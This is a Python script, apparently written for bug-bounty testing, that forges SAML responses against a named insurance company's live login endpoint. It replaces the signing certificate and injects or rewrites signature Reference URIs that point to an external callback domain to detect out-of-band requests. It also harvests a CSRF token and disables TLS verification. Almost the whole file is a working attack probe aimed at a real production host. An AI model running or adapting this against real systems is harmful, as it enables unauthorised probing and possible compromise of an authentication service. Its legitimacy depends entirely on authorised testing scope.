#!/usr/bin/env python3
import base64,time,json,requests,urllib3
from lxml import etree
urllib3.disable_warnings()
HOST='mein-portal.baloise.de'; DS='http://www.w3.org/2000/09/xmldsig#'
BASE='work/scratch/saml-correct-attr/01a1c612-1047-734c-8a4e-26296a6b3aaa.xml'
CAP='work/scratch/saml-correct-attr/01a1c62a-2176-7412-a42e-dfb4958ded61.xml'
ca=''.join(etree.parse(CAP).xpath('string(//*[local-name()="X509Certificate"])').split())
stamp=str(int(time.time()))
variants=['replace-http','replace-https','add-http','add-https','replace-netpath']
s=requests.Session();s.verify=False;s.headers['X-Bug-Bounty']='dwbzn';s.get(f'https://{HOST}/auth/',timeout=20,allow_redirects=False)
tok=s.cookies.get('CSRFT759-S'); hdr={'X-CSRFT759':tok,'X-Same-Domain':'1','Content-Type':'application/x-www-form-urlencoded','Accept':'application/json'}
outs=[]
for name in variants:
 marker=f'sref{name.replace("-","")}{stamp}'
 if name.endswith('http'): uri=f'http://{marker}--3p8.9b.au/ref'
 elif name.endswith('https'): uri=f'https://{marker}--3p8.9b.au/ref'
 else: uri=f'//{marker}--3p8.9b.au/ref'
 root=etree.parse(BASE).getroot()
 certs=root.xpath('//*[local-name()="X509Certificate"]'); certs[0].text=ca
 si=root.xpath('//*[local-name()="SignedInfo"]')[0]
 refs=root.xpath('//*[local-name()="SignedInfo"]/*[local-name()="Reference"]')
 if name.startswith('replace'):
  refs[0].set('URI',uri)
 else:
  ref=etree.SubElement(si,etree.QName(DS,'Reference')); ref.set('URI',uri)
  dm=etree.SubElement(ref,etree.QName(DS,'DigestMethod')); dm.set('Algorithm','http://www.w3.org/2001/04/xmlenc#sha256')
  dv=etree.SubElement(ref,etree.QName(DS,'DigestValue')); dv.text='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='
 xml=etree.tostring(root,xml_declaration=True,encoding='UTF-8')
 open(f'work/scratch/next/{marker}.xml','wb').write(xml)
 t=time.time(); r=s.post(f'https://{HOST}/auth/rest/public/baloise/saml2/transform',headers=hdr,data={'context':'Easylogin','SAMLResponse':base64.b64encode(xml).decode()},timeout=30,allow_redirects=False)
 rec={'name':name,'marker':marker,'uri':uri,'status':r.status_code,'size':len(r.content),'elapsed':round(time.time()-t,3),'body':r.text[:200]};outs.append(rec);print(json.dumps(rec),flush=True)
open('work/scratch/next/saml-reference-oob.json','w').write(json.dumps(outs,indent=2))
